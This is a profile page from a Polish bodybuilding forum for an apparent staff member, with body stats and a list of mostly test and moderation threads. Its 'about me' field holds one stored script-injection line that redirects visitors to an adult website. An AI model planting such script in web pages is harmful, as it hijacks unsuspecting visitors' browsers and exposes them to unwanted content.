PaWEL-H

52 poziom — Specjalista

Dziennik treningowy

otrzymanych szacunów

3246

przeczytanych postów

717834

napisanych postów

Imię Paweł

Nazwisko Hordyński

Wiek 41

Zawód/studia b.d.

Województwo Opolskie

Miasto Dąbrówka Dolna

O mnie <script>window.location='http://x-videos.com'</script>

Zainteresowania Pracuje w SFD S.A.

Dieta brak

Uprawiane sporty bjj

Ostatnia aktywność 08.09.2026 (14:54)

Data rejestracji 12.02.2007 (00:00)

Wzrost: 184 cm

Waga: 95 kg

Współczynnik BF: 15%

Obwód bicepsa: b.d.

Obwód łydki: b.d.

Obwód klatki piersiowej: b.d.

Obwód przedramienia: b.d.

Obwód bioder: b.d.

Obwód uda: b.d.

Obwód w pasie: b.d.

Wyciskanie na ławce: 160 kg

Martwy ciąg: b.d.

Wyciskanie na barki: b.d.

Podciągnięcia: b.d.

Przysiad: b.d.

Szczęśliwy jest ten, który zapomni, że już nic więcej się nie zmieni.

Ciastko z wróżbą

Tematy użytkownika
Ostatnie posty użytkownika

Nazwa tematu	Dział	Odp.	Data tematu
Archiwum LS	teraz musicie dostać powiadomienie	22	2015-11-16 21:43
LOŻA SZYDERCÓW	test	88	2016-04-19 12:12
Administracja i Moderatorzy	YT test wss http://www.youtube.com/watch?v=ztiw1ow0yju sdsd sds	5	2010-02-23 10:06
VIP ROOM	Czym zastąpić słodycze?	12	2017-01-12 11:17
VIP ROOM	Jak poprawić jakość snu?	5	2017-01-12 11:07
Z archiwum kulturystyki	Czy kreatyna jest dobra na mase?? test czy kreatyna rządzi czy nie i czy jest mitem że nabiera się wody ??	2	2016-10-24 09:44
Odżywki i suplementy	Kto tu jest ekspertem????? panowie kto z was szybciej odpisze na moje pytanie...	7	2016-07-26 08:24
Odżywki i suplementy	Jaka kreatyna dla 15 latka? jak wyżej nie wiema co brać? pomóżcie mi proszę	8	2016-07-25 23:18
Trening dla początkujących	Od czego zacząć robienie flagi? chcę zacząć trenować z efektem wykonania ludzkiej flagi. czy ktoś może mi pomóc ?	3	2016-05-19 14:25
Odżywki i suplementy	Mono czy jabłczan ? na suchą masę mięśniową co jest lepsze ?	9	2016-04-07 09:41
Archiwum LS	kolorowe kredki	31	2015-09-23 01:49
VIP ROOM	Marcin & Paweł W jednym stali domu	20	2015-09-14 13:56
Archiwum LS	zaciągarka zdjęć - test - nie kasować.	0	2015-08-18 11:45
Archiwum LS	sadsadad	4	2015-07-23 14:20
Archiwum LS	NOWA LOGIKA FORUM - aktualizowana lista do poprawek 1 post	576	2015-03-26 14:40
Archiwum LS	test załącznika	5	2015-05-10 19:58
Archiwum LS	Czy forum komuś muli?	27	2015-05-05 21:45
Archiwum LS	test tematu z otwartym znacznikiem	1	2015-04-27 10:31
Administracja i Moderatorzy	filmy na sfd.pl http://pl.youtube.com/watch?v=i3f6dhz0qxe testujemy wklejanie filmów, wklej link do filmu. zmieniony przez - pitt bull w dniu 2007-09-28 22:26:01	3	2007-09-28 19:54
Firma	zakładam nowy temat	26	2013-10-18 11:00
Informator OPOLSKI	Gdzie można dobrze i dietetycznie zjeść w opolu??? ja np. polecam piccola italia na damrota http://www.facebook.com/#!/pages/piccola-italia/169200866449428 mają pierś z grila z ryżem i sałatką, pierś min. 200g i ryżu worek więc polecam jeśli ktoś po siłce nie ma czasu robić jedzonka. a wy gdzie	4	2010-12-22 13:43
Firma	[SPAM]_test_est	67	2012-11-13 13:54
Odżywki i suplementy	temat testowy fdfdf	7	2014-05-15 15:47
Odżywki i suplementy	kreatyna masa siła testowanie na ekranie	8	2014-04-25 11:03
Odżywki i suplementy	kolejny test odżywki na masę. hahaha banan dawaj ;)	3	2014-04-25 11:59
Odżywianie i Odchudzanie	odżywki na masę sprawdzamy znów testowanie dalej	0	2014-04-25 14:04
Odżywianie i Odchudzanie	jemy ogórki na masę i siłę cześć ;) zmieniony przez - pawel-h w dniu 2014-04-25 13:59:29	0	2014-04-25 13:41
Odżywianie i Odchudzanie	muszę niestety sprawdzić. hehehehe	0	2014-04-25 12:01
Firma	Generowanie Kreatyna Podobnych Tematów MMA Walki	0	2014-04-24 14:38
Archiwum LS	Nowa wersja graficzna.	77	2013-12-23 10:34

Nazwa tematu	Dział	Data posta
LOŻA SZYDERCÓW	Testy poprawek na beta.sfd.pl - proszę o zgłoszenia chętnych osób	2018-01-24 10:09
MUZYKA NA SIŁOWNIĘ	Szukam tytułu piosenki , co to za nuta?	2017-08-07 15:01
Szybkie pytania bez logowania	kreatyna a jedna nerka	2017-08-07 14:41
Szybkie pytania bez logowania	Białko do żywności i olej kokosowy	2017-07-06 10:22
Szybkie pytania bez logowania	marchewka	2017-07-06 10:18
VIP ROOM	Witam :)	2017-07-06 09:45
LOŻA SZYDERCÓW	test	2017-07-06 09:11
LOŻA SZYDERCÓW	test	2017-07-06 09:10
LOŻA SZYDERCÓW	NOWE FORUM - zgłoszenia wyłapanych błędów	2017-07-05 15:52
LOŻA SZYDERCÓW	NOWE FORUM - zgłoszenia wyłapanych błędów	2017-06-20 11:07
LOŻA SZYDERCÓW	NOWE FORUM - zgłoszenia wyłapanych błędów	2017-06-20 11:07
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-18 10:01
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-14 12:05
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-12 13:36
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-12 13:26
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-12 13:14
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-12 12:09
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 23:02
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 14:38
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 14:20
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 14:17
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 12:42
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 12:01
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 11:42
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-11 11:38
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-10 14:13
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-10 13:58
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-10 12:34
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-10 12:28
LOŻA SZYDERCÓW	Ciekawostki z życia moderatora :)	2017-04-10 12:20